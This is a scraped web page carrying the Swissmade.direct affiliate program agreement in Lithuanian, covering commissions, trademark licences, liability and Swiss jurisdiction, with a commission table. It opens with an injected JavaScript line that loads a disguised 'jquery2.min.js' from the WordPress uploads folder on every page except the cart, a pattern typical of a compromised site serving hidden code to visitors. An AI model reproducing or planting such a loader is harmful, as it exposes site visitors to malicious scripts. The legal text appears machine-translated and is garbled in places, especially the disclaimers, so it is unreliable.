if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

AFFILIATINĖS PROGRAMOS SUSITARIMAS IR SĄLYGOS

Ši Partnerių programos sutartis (toliau – Sutartis) sudaryta ir įsigalioja 28 m. rugsėjo 2016 d. (ir vėlesni atnaujinimai) tarp „Swissmade Trading Ltd.“, „Swissmade.direct“, (SMT), korporacija, įkurta ir veikianti pagal Šveicarijos įstatymus, kurios pagrindinė buveinė yra adresu: Littauerboden 1, CH-6014 Lucerne ir registruotas ir priimtas filialas (Dalyvis), turintis juridinę gyvenamąją vietą pagal registruotą adresą filialo svetainėje. Užsisakius Partnerių programą, susitariama taip: KONSTATUOJAMOJI DALIS
  1. Šios partnerių programos pavadinimas yra „Swissmade.direct“ partnerių programa („Partnerių programa“).
  2. Dalyvis pareiškia ir garantuoja SMT, kad dalyvis perskaitė ir suprato privatumo politiką ir sutinka su joje nustatytomis sąlygomis.
  3. Šioje Sutartyje sąvoka „Dalyvis“ reiškia fizinį ar juridinį asmenį, kuris kreipiasi į Partnerių programą ir yra priimtas į ją. Sąvoka „SMT“ reiškia Partnerių programos rėmėją. Sąvoka „SMT svetainė“ reiškia svetainę, kurią SMT tvarko adresu swissmade.direct. Sąvoka „Dalyvio svetainė“ reiškia svetainę, kurioje Dalyvis sutinka patalpinti nuorodą į SMT svetainę, tačiau apima ir sugeneruotą URL iš SMT Partnerių programos ir susijusią Partnerio programos dalyvio paskyrą, kurioje dalyvis yra registruotas SMT svetainėje. „Prekės“ reiškia visus produktus, prekes ir atsargas, kuriuos SMT siūlo parduoti per savo svetainę.
1. APFILIUOTI PROGRAMOS REGISTRACIJA

Norėdami užsiregistruoti Partnerių programoje, Dalyvis turi užpildyti ir pateikti SMT Partnerių programos paraiškos formą. Partnerių programos paraiškos forma yra SMT svetainėje ir ją galima užpildyti bei pateikti per jos svetainę. Dalyvis įsipareigoja sąžiningai užpildyti visą informaciją.

2. APFILIACINĖS PROGRAMOS PARAIŠKOS PATVIRTINIMAS ARBA ATMETIMAS

SMT pasilieka teisę bet kuriuo metu patvirtinti arba atmesti bet kurią Partnerių programos paraišką savo nuožiūra. Dalyvis neturės teisinių priemonių prieš SMT dėl Dalyvio Partnerių programos paraiškos atmetimo.

3. ATMETIMO PRIEŽASTYS

Neribojant teisės atmesti bet kokią paraišką dėl bet kokios priežasties SMT savo nuožiūra, Dalyvio paraiška bus atmesta, jei ji bus neišsami, neužpildyta teisingai arba jei Dalyvio svetainėje ar versle yra vaizdų ar turinio, kuris yra nepriimtinas. SMT arba nesuderinamas su įvaizdžiu, kurį SMT nori sukurti kartu su savo svetaine; arba jei Dalyvio svetainėje yra, pavyzdžiui, bet neapsiribojant bet kokios neteisėtos, amoralios, atstumiančios, šmeižikiškos, menkinančios, priekabiaujančios, žalingos, grasinančios, nepadorios, vulgarios, pornografinės, rasinės ar etninės nepriimtinos medžiagos, vaizduojamos seksualinės situacijos, skatinama diskriminacija dėl rasės, lyties, seksualinės pirmenybės, tautinės kilmės, etninės priklausomybės, tautybės, negalios, religinės nuostatos, šlamšto arba jei Dalyvio svetainėje yra bet kokios medžiagos, kuri, SMT nuomone, pažeidžia bet kokį patentą, prekės ženklą, autorių teises, komercinę paslaptį, konfidencialią informaciją arba kitos bet kurios kitos šalies nuosavybės teisės.

4. NUTRAUKIMAS PO PRIPAŽINIMO

Net ir po to, kai SMT priėmė Dalyvį kaip Partnerių programos narį, SMT pasilieka absoliučią teisę savo nuožiūra panaikinti arba nutraukti Dalyvio filialo statusą dėl bet kokios priežasties, įskaitant, bet neapsiribojant, pirmiau nurodytas priežastis. Nutraukus narystę, tuo pačiu metu bus panaikintos ir visos šios Affiliate programos privilegijos. Paskyros nutraukimas, išjungimas ir ištrynimas gali būti atliekami be išankstinio įspėjimo.

5. FINANSINĖS ATSAKOMYBĖS

Dalyvis bus visiškai atsakingas už visas išlaidas ir išlaidas, susijusias su Partnerių programos išlaikymu ir rinkodara, įskaitant, bet neapsiribojant, visas išlaidas, susijusias su Dalyvio svetainės sukūrimu, priegloba, modifikavimu ir patobulinimais, paieškos variklio įdėjimo ir kitas išlaidas. Interneto rinkodara, SMT nuorodų įterpimo į savo svetainę išlaidos, rinkodaros neprisijungus išlaidos, pašto išlaidos ir visos kitos išlaidos ir išlaidos, o dalyvis laikosi SMT nekenksmingos. SMT atsako tik už savo svetainės swissmade.direct išlaidas ir susijusių URL sukūrimą.

6. JOKIŲ ATSAKYMŲ DĖL PAJAMŲ POTENCIALO

SMT nereiškia jokių garantijų ir garantijų dėl galimų pajamų, gautų iš dalyvavimo šioje Partnerių programoje, ir konkrečiai atsisako bet kokių garantijų, susijusių su galimybe uždirbti iš Dalyvio filialo statuso.

7. ATSAKOMYBĖ SUSIJĘS SU SMT SVETAINE

a.) Dalyvis, kaip filialas, privalo įpareigoti platinti sukurtus URL adresus (įskaitant produktus ar SMT svetainę) iš savo paskyros SMT filialo programoje arba patalpinti nuorodas savo svetainėje, nukreipiančias vartotojus į SMT svetainę . SMT dalyviui suteiks mygtuko nuorodas, teksto nuorodas ir reklaminius reklaminius skelbimus, kurie bus patalpinti dalyvio svetainėje, kuri nukreipia vartotojus į SMT svetainę per hiperteksto nuorodą. Dalyviui, kaip programos partneriui, yra suteikiama riboto laikotarpio licencija, per Dalyvio aktyvų dalyvavimą kaip programos partneris, kad galėtų naudoti SMT logotipo atvaizdus, ​​pateiktus dalyviui svetainėje, kurią dalyvis nurodo dalyvio programos programoje .

b.) SMT savo filialams, URL, nuorodoms, reklamjuostėms ir kitai informacijai, reklamuojančiai savo svetainę ar produktus, leidžia naudoti pagal šios Sutarties sąlygas. Šiose medžiagose bus jos prekės ženklai ir kita nuosavybė. Dalyvis gali rodyti šią medžiagą Dalyvio svetainėje, kad reklamuotų SMT svetainę ir produktus ir dalyvautų šioje Partnerių programoje. Jei Dalyvis nutraukia Partnerių programą arba Dalyvio dalyvavimas nutraukiamas dėl kokių nors priežasčių, Dalyvis nedelsdamas nustos naudoti šią medžiagą ir ištrins visą tokią medžiagą iš savo svetainės ir kompiuterio. Dalyvis turi gauti SMT patvirtinimą visoms nuorodoms į SMT svetainę, kurias Dalyvis patalpina savo svetainėje. Dalyvis bendradarbiaus su SMT kurdamas ir talpindamas nuorodas Dalyvio svetainėje.

c.) Dalyviui bus leidžiama naudoti tik nuorodas ir URL, kuriuos SMT pateikė Dalyviui arba yra sukurtas SMT Partnerio programos Dalyvio paskyroje svetainėje, kurią Dalyvis nurodo Partnerių programos paraiškoje. Bet kurioms papildomoms svetainėms ar subjektams reikės papildomai pateikti Partnerių programos paraiškas ir patvirtinti SMT.

d.) Dalyvis nekeis nuorodų ar kitos medžiagos, kurią SMT pateikė Dalyviui, arba nuorodų talpinimo Dalyvio puslapyje. Dalyvis sutinka, kad SMT stebėtų dalyvio svetainę, kad nustatytų, ar toliau laikomasi šios sutarties.

e.) Dalyvis sutinka, kad SMT į SMT ataskaitas įtrauktų informaciją apie srautą iš dalyvio svetainės. Ši informacija gali būti pateikta išorės šalims.

8. KLIENTŲ APTARNAVIMAS

a.) SMT bus atsakinga už visų klientų užklausų, produktų užsakymų, klientų sąskaitų išrašymo ir surinkimo, produktų siuntimo, susijusio su klientais, įeinančiais į SMT svetainę per Dalyvio svetainės nuorodas, tvarkymą. SMT produktų ir paslaugų kainos nustatomos visiškai savo nuožiūra ir SMT pasilieka teisę keisti kainų struktūrą, nutraukti bet kokius specialius pasiūlymus, nutraukti produktų ar paslaugų teikimą arba bet kuriuo metu keisti produktų ar paslaugų teikimo sąlygas. bet koks išplėstinis pranešimas Dalyviui ar naudotojams, kurie prisijungia prie SMT svetainės. Vienintelė SMT atsakomybė Dalyviui šiuo atžvilgiu yra sekti klientų užsakymus, įvykdytus per sukurtą SMT Partnerio programos dalyvio paskyros URL ir (arba) nuorodas iš Dalyvio svetainės ir pateikti ataskaitas dalyviui. komisiniai, kurie dėl to priklauso Dalyviui. Visos tokios ataskaitos turi būti neaudituotos. SMT neprivalo pateikti Dalyviui jokios konkrečios informacijos apie bet kurį klientą, nepaisant to, ar jis prisijungia prie SMT svetainės per nuorodą iš Dalyvio svetainės.

b.) SMT neatsako už tai, kad dalyviui nebuvo priskirti jokie pardavimai ar komisiniai, jei tai atsitinka dėl netinkamo dalyvio svetainės nuorodos arba sugeneruoto partnerio programos URL formato. Dalyvis turėtų visada užtikrinti, kad nuoroda arba URL yra tinkamai suformatuotas, ir nedelsdamas pranešti SMT apie visas su tuo susijusias problemas, su kuriomis susiduria dalyvis.

9. ATLYGINIMAS

a.) Dalyviui mokami komisiniai, atsižvelgiant į procentą nuo (grynųjų) pardavimų vartotojams, kurie prisijungia prie SMT svetainės per Dalyvio Partnerių programos URL arba jo svetainę. Komisiniai bus apskaičiuojami remiantis grynąja užsakymo pardavimo kaina, neįskaitant siuntimo ir tvarkymo, pardavimo mokesčio, specialių paslaugų mokesčių, tokių kaip dovanų įpakavimas ar pakavimas, vėlavimo mokesčiai, surinkimo išlaidos, importo / eksporto muitai ir bet koks kitas atliktas mokėjimas. SMT, kuri nėra perkamo produkto pirkimo kaina. Komisiniai nebus skaičiuojami remiantis sumomis, kurios priskirtinos sukčiavimui kredito kortelėmis, klientams suteiktais kreditais ar nuolaidomis, blogų skolų grąžinimu, mokėjimų grąžinimu ir grąžintomis prekėmis. SMT pasilieka teisę vėlesniais mėnesiais išskaičiuoti bet kokius komisinius, kuriuos SMT sumokėjo už produktą, kuris vėliau grąžinamas arba grąžinamas, arba dėl bet kokios kitos priežasties, jei ankstesnis mėnesinis komisinis buvo permokėtas arba vėliau buvo sumažintas. Įkainiai keičiasi nuo bendros galiojančių apmokėtų pardavimų grynosios sumos per kalendorinius metus, kuri yra rodoma Dalyvio filialo paskyroje.

b.) Procentinės sumos, mokėtinos kaip komisiniai, šiuo metu yra tokios, kaip nurodyta šio priedo A priedėlyje. SMT pasilieka teisę bet kuriuo metu keisti ir keisti komisinių tarifų struktūrą savo nuožiūra.

c.) Komisiniai bus mokami tik už pardavimą, stebimą per SMT internetinę stebėjimo sistemą ir kaip šaltinį nurodant Dalyvio URL arba svetainės nuorodą. Nėra teisės į komisinius, jei vartotojas vėliau grįžta į SMT svetainę ir perka per kitą nuorodą ar šaltinį, išskyrus dalyvio URL ar svetainę. Dalyvis neturi teisės į komisinius, pagrįstus vėlesniais pardavimais, net jei klientas pirmą kartą atvyko į SMT svetainę per nuorodą iš Dalyvio svetainės. Komisiniai bus stebimi ir mokami tik tada, kai vartotojas perka tą patį apsilankymą, kai naudotojas apsilanko SMT svetainėje iš Dalyvio svetainės nuorodos arba jo URL. Vėlesniems pardavimams gali būti sumokėtas sumažintas komisinis mokestis pagal A priedą.

d.) SMT mokės komisinį mokestį tik tada, kai SMT jį surinks. Dalyvis neturi teisės į komisinius, kol atitinkamas klientas visiškai nesumokėjo SMT ir nepateikė grąžinimo prašymo ar kitų nuostolių. Skaičiuojant komisinius, atsižvelgiama tik į pirkimus, kurie buvo atlikti per SMT užsakymo internetu procesą. Pavyzdžiui, jei klientas apsilanko SMT svetainėje per nuorodą iš Dalyvio svetainės ir vietoj to, kad atliktų užsakymą internetu, skambina ir pateikia užsakymą telefonu, Dalyvis neturės teisės į jokį komisinį mokestį už tą pardavimą.

e.) Komisiniai bus mokami Dalyviui kas mėnesį arba 10 dienų po užsakymo pristatymo klientui. SMT negarantuoja tikslios komisinių ar mokėjimų apskaičiavimo datos. Visi mokėjimai bus atliekami pavedimu į sąskaitą, kurią Dalyvis nurodė Partnerių programos paraiškoje. SMT nesiunčia mokėjimo, jei bendra Dalyviui priklausanti komisinė suma yra ne mažesnė kaip 10 CHF. Mažesnės nei 10 Šveicarijos frankų sumos kaupiamos Dalyvio sąskaitoje ir mokamos už tą mėnesį, kai visi Dalyvio komisiniai pasiekia mažiausiai 10 Šveicarijos frankų. SMT pasilieka teisę bet kuriuo metu pakeisti minimalią komisinio mokesčio sumą. Bet kokius mokesčius už pinigų pervedimą šalys moka lygiomis dalimis.

10. KLIENTŲ ATSIŽVELGIMAS

Visos šalys, kurios perka per SMT svetainę, neatsižvelgiant į tai, ar jos svetainę galėjo pasiekti per nuorodą iš Dalyvio svetainės ar URL, yra laikomos SMT klientais, o ne Dalyvio klientais, palyginti su SMT produktais ir paslaugas. SMT turės teisę susisiekti su šiais klientais ir siųsti jiems būsimus rinkodaros pasiūlymus. Dalyvis neturės teisės į komisinius už vėlesnius pirkimus, kuriuos gali atlikti šie klientai, išskyrus vėlesnius pirkinius, kuriuos galima atsekti pirkimo metu naudojant nuorodą iš Dalyvio svetainės ar URL. Be to, visiems tokiems klientams ir pirkimams bus taikoma SMT politika, procedūros, taisyklės ir taisyklės, o dalyvis neturi teisės ar įgaliojimų keisti ar siūlyti kitokių pasiūlymų, susijusių su produktų pirkimu iš SMT svetainės. Tačiau SMT pasilieka teisę bet kuriuo metu savo nuožiūra keisti bet kokias savo sąlygas, politiką, procedūras, kainodarą, mokėjimo politiką, surinkimo politiką ir visus kitus elementus, susijusius su SMT verslu ir produktų pardavimu.

11. PREKIŲ ŽENKLAI IR AUTORIŲ TEISĖS

a.) Dalyvis turės neišimtinę, ribotos trukmės licenciją naudoti prekių ženklus, logotipus ir autorių teisių saugomą medžiagą, kurią SMT pateikė Dalyviui naudoti tik pagrindiniame puslapyje, kurį Dalyvis nurodė Dalyvio partnerių programos paraiškoje arba savo URL, sukurtame SMT Partnerių programoje. Dalyvis gali naudoti tik tuos vaizdus, ​​kuriuos SMT specialiai suteikia SMT filialų nariams savo svetainės svetainėje, kuri yra specialiai paskirta kaip patvirtinti Partnerių programos narių atvaizdai arba pateikiama tiesiogiai jiems. Dalyvis negali jokiu būdu platinti, atgaminti, keisti, taisyti šių vaizdų. Dalyvis gali naudoti šiuos vaizdus tik reklamuodamas SMT svetainę ir produktus, laikydamasis Partnerių programos politikos ir procedūrų bei šios sutarties sąlygų. Taip suteikta licencija visiškai atitinka visas šios Sutarties sąlygas ir bet kokią politiką, kurią SMT gali sukurti ir retkarčiais pakeisti dėl Partnerių programos.

b.) Dalyvis tokius daiktus naudos tik tokios formos, dydžio, turinio ir išvaizdos, kokias SMT suteikė Dalyviui. Dalyviui neleidžiama jų keisti. Dalyvis sutinka, kad šie elementai būtų gerai matomi savo svetainėje arba platinami per sukurtą URL. Šiuos elementus galima naudoti tik tuo atveju, jei juose yra hiperteksto nuoroda į SMT svetainę. Ši licencija nedelsiant nustoja galioti pasibaigus Partnerių programai. SMT taip pat gali nutraukti šią licenciją, pranešusi dalyviui tuo atveju, jei dalyvis naudoja šiuos daiktus prieštarauja jo standartams arba neatitinka jų, tokie standartai turi būti nustatyti visiškai ir visiškai. Dalyvis sutinka, kad SMT išlaiko visas teises, nuosavybės teises ir susidomėjimą visa tokia medžiaga. SMT išlaikys visą prestižą ir kitą vertę, susijusią su bet kuria iš šių medžiagų. Dalyvis neįgis jokių prekių ženklų, autorių teisių ar kitų nuosavybės teisių į tokią medžiagą. Dalyvis sutinka nesiimti jokių veiksmų, prieštaraujančių SMT teisėms į šią medžiagą arba su jomis nesuderinamoms. Dalyvis nenaudos šių medžiagų jokiu būdu, kuris yra žalingas, šmeižikiškas, menkinantis, žeminantis ar neigiamas SMT arba kuris piešia SMT klaidingai ar neigiamai. SMT gali bet kuriuo metu raštu dalyviui anuliuoti pagal šią sutartį suteiktą ribotą licenciją. Nutraukęs ar atšaukęs dalyvis nedelsdamas nustos naudoti šią medžiagą.

c.) Dalyviui neleidžiama naudoti jokios kitos patentuotos medžiagos, įskaitant, bet neapsiribojant, prekių ženklus, autorių teises, logotipus, tekstą ir bet kokią kitą medžiagą, priklausančią SMT ar bet kuriai kitai šaliai ir kuri gali būti pateikta SMT žiniatinklyje svetainėje.

d.) Dalyvis suteikia SMT neišimtinę teisę ir licenciją naudoti Dalyvio prekių ženklus, prekių pavadinimus, paslaugų ženklus, įmonių pavadinimus, tinklalapių pavadinimus, šūkius, logotipus ir autorių teisių saugomą medžiagą reklamai, reklamai, skelbti ar parduoti Dalyvio dalyvavimą SMT Partnerių programoje. Dalyvis pareiškia ir garantuoja SMT, kad jokia kita šalis neturi jokių teisių į bet kurią iš šių medžiagų ir kad ši medžiaga nepažeidžia ar kitaip nepažeidžia jokios kitos šalies teisių. Dalyvis pareiškia ir garantuoja, kad jis yra absoliutus, vienintelis ir išskirtinis visų tokių medžiagų SMT ir visų prekių ženklų teisių, autorių teisių ir kitų nuosavybės teisių į tą pačią. Dalyvis patvirtina, kad turi teisę, galią ir įgaliojimus licencijuoti minėtą medžiagą SMT, kaip minėta, ir kad dalyvis neturi jokių teisinių ar sutartinių apribojimų dėl teisės licencijuoti šią medžiagą. SMT neprivalo skelbti, reklamuoti, parduoti ar skatinti Dalyvio dalyvavimo SMT Partnerių programoje, tačiau pasilieka teisę tai padaryti savo nuožiūra.

12. PRODUKTO PRIEINAMUMAS SMT negali garantuoti produkto prieinamumo ar bet kokios kainos ar specialios akcijos ar pasiūlymo termino. 13. ATSAKOMYBĖ

Dalyvis yra atsakingas už visus dalykus, susijusius su Dalyvio paties URL ir (arba) svetainės platinimu, įskaitant jo kūrimą, priežiūrą, veikimą ir nuorodų įtraukimą į Dalyvio svetainę, laikantis Partnerių programos sąlygų. Dalyvis yra visiškai atsakingas už visus jo svetainėje ar URL esančius elementus ir užtikrina, kad tokie elementai nepažeidžia ir nepažeidžia jokios kitos šalies teisių. Dalyvis patvirtina, kad susipažįsta su visomis taisyklėmis ir nuostatomis, ypač dėl šlamšto ir juodojo sąrašo politikos. SMT neatsako už jokius dalykus, susijusius su Dalyvio svetaine, URL platinimu ar jo turiniu, o Dalyvis laiko SMT nekenksmingu ir atlygina SMT už bet kokias pretenzijas, ieškinius, grasinimus, reikalavimus, įsipareigojimus, veiksmus, veiksmų priežastis bet kokiu būdu į Dalyvio svetainę ir verslą. Tokia kompensacija apima SMT išlaidas ir advokato mokesčius ginant bet kokį tokį klausimą. Dalyvis pareiškia ir garantuoja SMT, kad jo svetainėje nėra ir nebus jokios medžiagos, kuri yra neteisėta, ir kad dalyvio svetainė nėra valdoma neteisėtu tikslu ar neteisėtu būdu.

14. ATSTOVAVIMAI IR GARANTIJOS

Dalyvis atstovauja ir garantuoja SMT, kad turi visas galias ir įgaliojimus sudaryti šią sutartį ir kad ši sutartis yra galiojantis ir teisiškai vykdomas susitarimas. Įsigyti šią Sutartį tinkamai ir teisėtai leido visi būtini įmonės ar kiti organizaciniai veiksmai ir patvirtinimai. Dalyvio dalyvavimas šioje Sutartyje nėra draudžiamas jokiais dokumentais, neprieštarauja jokiems įstatymams, taisyklėms ar nuostatoms ir nepažeidžia jokių teismo ar administracinių nurodymų.

15. TERMINAS

Šios Sutarties veiksmingumas neprasidės tol, kol SMT nepriims Dalyvio programos paraiškos. Šio dokumento veiksmingumas ir privalomasis poveikis atsiranda, kai SMT priima Dalyvio partnerių programos paraišką. Šis Susitarimas galioja iki tol, kol Dalyvis ar SMT jį nutraukia. SMT arba Dalyvis gali nutraukti šią Sutartį bet kuriuo metu, be priežasties arba be priežasties, raštu įspėję kitą šalį apie sutarties nutraukimą pagal šią Sutartį. Toliau siunčiami pranešimai Dalyviui siunčiami el. Paštu Dalyvio partnerių programos paraiškoje nurodytu el. Pašto adresu. Visi ir visi pranešimai Dalyviui elektroniniu paštu tokiu adresu yra laikomi veiksmingais pranešimais Dalyviui visais tikslais.

16. NUTRAUKIMAS

Dalyvis praranda visas teises gauti ankstesnius komisinius mokesčius, kurie galėjo būti priskirti Dalyviui, jei ši Sutartis nutraukiama dėl to, kad Dalyvis nesilaiko šios Sutarties sąlygų arba bet kokios Partnerių programos politikos ir procedūrų, kurios gali būti nustatytos ir SMT savo nuožiūra retkarčiais keičia. Jei ši sutartis nutraukiama dėl kitų priežasčių, dalyvė turi teisę gauti savo sukauptus komisinius iki sutarties nutraukimo įsigaliojimo dienos; su sąlyga, kad jei visi Dalyvio komisiniai, mokėtini pagal šią sutartį, neviršija 10.00 CHF, toks sukauptas komisinis mokestis netenka. SMT turi teisę pakankamai ilgai sulaikyti galutinius komisinius mokesčius, kad užtikrintų, jog Dalyviui sumokėta suma yra tiksli ir vėliau nebus koreguojama dėl grąžinimo, grąžinimo ar kitų priežasčių. Jei po paskutinio mokėjimo SMT nustato, kad dalyvio sumokėtų komisinių suma buvo per didelė dėl vėlesnių grąžų ar bet kokio kito koregavimo ar priežasties, skirtumas yra dalyvio skola SMT ir SMT turi visą teisėtą teisę iš dalyvio susigrąžinti tokį permokėtą komisinį atlyginimą.

17. PAKEITIMAI

SMT pasilieka teisę savo nuožiūra keisti pranešimus Dalyviui bet kokias Partnerių programos sąlygas ir šios sutarties sąlygas. Pranešimas apie bet kokius pakeitimus gali būti pateiktas Dalyviui el. Paštu arba paskelbiant tokius pakeitimus SMT svetainės Partnerių programos skiltyse. Tokie pakeitimai ir pakeitimai įsigalios perduodant el. Laišką arba paskelbus SMT svetainėje. Dalyvis gali nutraukti dalyvavimą Partnerinėje programoje, jei kuris nors iš šių pakeitimų yra nepriimtinas Dalyviui ir toks nutraukimas yra vienintelė ir išskirtinė Dalyvio teisių gynimo priemonė. Tuo atveju, jei dalyvis po tokių pakeitimų ir toliau dalyvauja Partnerių programoje, Dalyvis laikys, kad Dalyvis ir toliau dalyvauja, kad jis sutiktų su visais tokiais pakeitimais.

18. ATSAKOMYBĖS

a.) SMT ATSISAKO BET KOKIĄ IR VISĄ GARANTIJĄ IR ATSAKOMYBĘ, SUSIJUSIĄ SU PIRMĄJĄ LAIKOTARPĮ ARBA NEPASIEKUSIOS NAUDOTI NAUDOTI JŪSŲ SVETAINĘ ARBA DALYVAVO DALYVO URL. Be to, SMT NĖRA ATSAKINGA IR JEI ATSISAKO, JOKIOS IR VISOS GARANTIJOS, SUSIJĘS SU JŲ SVETAINE, AFILIUOTA PROGRAMA, DALYVAVIMO DALYVYBĖS ŽALINGOSIOS BILIETŲ BILIETĖ , ĮSKAIČIANT, bet neapsiribojant JOKIOMIS TIKSLUMO GARANTIJOMIS DĖL JOKIO TIKSLO TIKSLO AR PERKELBIMO, NEPAŽEIDŽIAMO ARBA BET KURIO REIKALAVIMO, PAGRINDOTO SMT PARDAVIMO AR NAUDOJIMO PRIEMONĖJE. SMT neatstovauja ir negarantuoja, kad jos interneto svetainė ar bet kokia programa, įskaitant, bet neapsiribojant jos nuoroda ir (arba) URL sekimo funkcijomis, bus be klaidų arba kad jie veiks be pertraukos.

b.) SMT NĖRA ATSAKOMA už bet kokias tiesiogines ar netiesiogines žala ar bet kokios prigimties įsipareigojimus, įskaitant, bet neapsiribojant atsitiktine, iš to išplaukiančia, netiesiogine ar ypatinga žala, prarastą pelną, prarastą verslą. Neatsižvelgiant į tai, ar SMT buvo ar buvo apie tai pranešta, kad tai įmanoma, ir nesiėmė jokių veiksmų, kad būtų išvengta to paties.

c.) Neapribojant to, kas išdėstyta, bendra SMT atsakomybė už bet kokią žalą, atsiradusią pagal šią nuostatą, niekada neviršija bendrų komisinių, kuriuos SMT moka ir turi mokėti pagal šio dokumento sąlygas.

19. KONFIDENCIALUMAS

Tuo atveju, jei bet kuri informacija Dalyviui bus atskleista per Dalyvio dalyvavimą Partnerių programoje, bet kokiu būdu susijusi su SMT įmone ir verslu, kurį SMT laiko konfidencialia ir nuosavybės teise, dalyvis sutinka tokią informaciją laikyti griežčiausiu pasitikėjimą ir neatskleisti tokios informacijos jokiai kitai šaliai arba nenaudoti tokios informacijos dalyviui savo tikslais. Konfidenciali informacija apims bet kokią informaciją apie SMT pakeitimus ar šios Sutarties ar šios Partnerių programos pakeitimus (kurių SMT neprivalo padaryti) arba bet kokį specialų dalyvio požiūrį (kurį SMT pasilieka teisę pateikti savo bet kurios filialo nuožiūra). Konfidenciali informacija taip pat apima bet kokią ir visą informaciją, susijusią su SMT verslu, verslo planais, rinkodaros planais, naudotojų statistika, finansine informacija, kainodara, pelnu, informacija apie narystę, priklausymą, pardavimo informaciją ir visą kitą informaciją, kurią SMT laiko konfidencialia ir nuosavybės teise.

20. PRIPAŽINIMAS

Dalyvis atlygina ir laiko SMT, visiems SMT akcininkams, pareigūnams, direktoriams, darbuotojams, rangovams, filialams, agentams, įpėdiniams ir paskiria nekenksmingus bet kokiems reikalavimams, įsipareigojimams, žalai, veiksmams, veiksmų priežastims, ieškiniai, grasinimai, reikalavimai, atsiskaitymai, įskaitant visas su tuo susijusias išlaidas ir advokato mokesčius, kuriuos gali patirti SMT ir kurie yra visiškai ar iš dalies pagrįsti Dalyvio dalyvavimu Partnerių programoje, bet kokie teiginiai, kad bet kuris Dalyvio prekės ženklas ir kiti nuosavybės teise turima medžiaga pažeidžia bet kurios kitos šalies teises, dalyvis pažeidžia bet kokias šioje sutartyje nustatytas sąlygas, susitarimus, sąlygas, atstovavimą ar garantiją arba bet kokią dalyvavimo Partnerių programoje politiką, arba bet kokį reikalavimą, tiesiogiai ar netiesiogiai susijusį su dalyvio naudojimu , veikimą ar Dalyvio interneto svetainės turinį.

21. VALDYMO TEISĖ

Šis susitarimas aiškinamas pagal Šveicarijos įstatymus. Visi su tuo susiję teisiniai veiksmai turi būti atliekami Liucernos (Šveicarija) teismuose. 22. ŠALIŲ SANTYKIS

Šios šalys yra nepriklausomi rangovai ir niekas, kas čia išdėstyta, negali būti aiškinama kaip sukurianti kitus santykius, išskyrus nepriklausomų susitariančiųjų šalių santykius. Šalys negali būti laikomos partnerėmis, bendrosiomis įmonėmis, akcininkais, darbdaviu/darbuotoju, agentu/tarnautoju. Dalyvis neturi įgaliojimų ar įgaliojimų įpareigoti SMT laikytis bet kokių įsipareigojimų, susitarimų, skolų ar atsakomybės. Dalyvis negali apsiriboti SMT agentu ar atstovu. Bet kokie šios nuostatos pakeitimai turi būti padaryti raštu ir pasirašyti teisiškai galiojančiu parašu.

23. PRANEŠIMAI

Pranešimai SMT siunčiami patvirtintu paštu, prašoma grąžinimo kvito, adresuoto šioje sutartyje nurodytu adresu, arba kitu adresu, apie kurį SMT dalyviui praneša el. svetainėje. Pranešimai Dalyviui siunčiami el. Paštu, adresu, nurodytu el. Pašto adresu, kurį Dalyvis pateikė SMT Dalyvio partnerių programos paraiškoje, arba paskelbdami tokius pranešimus SMT tinklalapio filiale. Dalyvis privalo periodiškai patikrinti SMT svetainės filialo skyrių ir stebėti visus jame pateiktus pranešimus.

24. UŽDUOTIS

Ši Sutartis skirta tik šaliai, kurią Dalyvis įtraukia į Partnerių programos paraišką. Dalyvis neturi teisės perleisti šios Sutarties ar bet kokių pagal ją numatytų privilegijų ar įsipareigojimų kitai šaliai ar juridiniam asmeniui. Bet koks bandymas atlikti užduotį yra negaliojantis.

25. VISAS SUSITARIMAS

Ši sutartis nustato visą šalių susitarimą ir supratimą dėl šios temos ir viršija bet kokias ankstesnes šalių diskusijas, supratimus, susitarimus, pareiškimus, garantijas ar susitarimus, susijusius su šios sutarties dalyku. Ši Sutartis gali būti pakeista tik raštu, pasirašytu kiekvienos iš šalių įgalioto atstovo, nebent čia nurodyta kitaip. Bet koks atsisakymas pagal šį Susitarimą įvykdyti pažeidimą ar įsipareigojimų neįvykdymą nereiškia atsisakymo nuo bet kokių vėlesnių ar kitokių pažeidimų ar įsipareigojimų neįvykdymo ir negali pakeisti čia išdėstytų susitarimų.

Jei kuri nors šios Sutarties nuostata ar sąlyga laikoma negaliojančia dėl kokių nors priežasčių, tai neturi įtakos likusios šios Sutarties dalies ar kitų šios Sutarties sąlygų vykdymui. 26. ŠIŲ SĄLYGŲ IR SĄLYGŲ PRADŽIA Dalyvis sutinka sukurti Partnerių programos paskyrą SMT Partnerių programos puslapyje pagal šią sutartį ir sąlygas. SMT sutinka, kad Dalyvis sutinka su pateikimu ir su juo susijusiu patvirtinimu. A PRIEDAS Komisiniai mokesčiai CHF
Bendra pardavimo suma CHF Įvertinti pirmą pardavimą proc. Įvertinkite vėlesnius pardavimus proc.
Iki 5 val 8 4
5'001.00 - 10'000.00 val 10 5
10'001.00 - 15'000.00 val 10 6
15'001.00 - 20'000.00 val 10 6.5
20'001.00 - 25'000.00 val 10 7
25'001.00 - 30'000.00 val

10

7.5
30'001.00 - neribotas specialus susitarimas specialus susitarimas

Prekių krepšelis

×
Jūsų krepšelis tuščias. Eikite į parduotuvę
Pasirinkite savo valiutą
Pereikite į viršų
Paieška
MAISTAS IR GĖRIMAI

Sausainiai
Grožis ir priežiūra
Šokolado
Maistas ir gėrimai
Šveicariška kava
Vegetariškas maistas

Verslo įrankiai
Stovyklavietės
Sportas
Šveicariška kuprinė
Kelioniniai krepšiai

AKSESUARAI
ŽAIDIMAI IR ŽAISLAI
RAŠIKLIAI IR KREDĖLIAI
KNYGOS
ETERINIAI ALIEJAI
EKOLOGIŠKAS PRODUKTAS
NAMŲ PRIEDAI
VIRTUVĖS IR BUITINIŲ REIKMENYS
IŠPARDAVIMAS